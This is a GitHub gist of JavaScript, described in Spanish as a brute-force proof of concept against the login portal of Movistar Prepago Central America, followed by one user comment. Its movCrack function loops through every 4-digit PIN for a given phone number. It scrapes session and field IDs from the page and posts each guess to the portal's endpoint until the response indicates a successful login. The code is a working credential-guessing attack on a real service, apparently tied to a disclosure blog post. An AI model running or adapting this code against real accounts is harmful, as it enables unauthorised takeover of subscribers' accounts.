Skip to content

Instantly share code, notes, and snippets.

@carloslopez1990
Created May 16, 2015 22:51
Show Gist options
  • Save carloslopez1990/b77e6a58f9a5bd0755af to your computer and use it in GitHub Desktop.
Save carloslopez1990/b77e6a58f9a5bd0755af to your computer and use it in GitHub Desktop.
// Movistar Prepago Centroamérica :: Prueba de Concepto de acceso por fuerza bruta
// Creado por Carlos Ernesto López
// facebook.com/c.ernest.1990 || celopez1990.blogspot.com
// Post Original: http://celopez1990.blogspot.com/2015/01/alguien-le-puede-hacer-entender.html
function movCrack( numero, inicio, fin ) {
$logueado = false;
$counter = inicio;
for( x=inicio;x<fin;x++ ) {
if( $logueado )
break;
_x = x.toString();
aux = _x.length;
if( _x.length != 4 )
for(i=0;i<4-aux;i++)
_x = '0' + _x;
console.log( 'Conectando ' + _x );
$.post('/mmo/zkau', {dtid: $('body').html().split(',dt:\'')[1].split('\'')[0],
cmd_0:'onChange',
uuid_0:$('input:eq(0)').attr('id'),
data_0:'{"value":' + numero + ',"start":8}',
cmd_1:'onChange',
uuid_1:$('input:eq(1)').attr('id'),
data_1:'{"value":"' + _x + '","start":4}',
cmd_2:'onClick',
uuid_2:$('button').attr('id').replace('-btn', ''),
data_2:'{"pageX":948,"pageY":400,"which":1,"x":39,"y":7}'},
function(res){
if( !$logueado ) {
if( res.indexOf('menu.zul') != -1 ) {
console.log('LOGUEADO!!!!!!!!!!!!!!!!!!!!!! ' + $counter);
$logueado = true;
}
else
console.log('FALLO ' + $counter);
$counter++;
}
});
}
}
@paulomcnally
Copy link

Cómo es que funcionaba esto?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment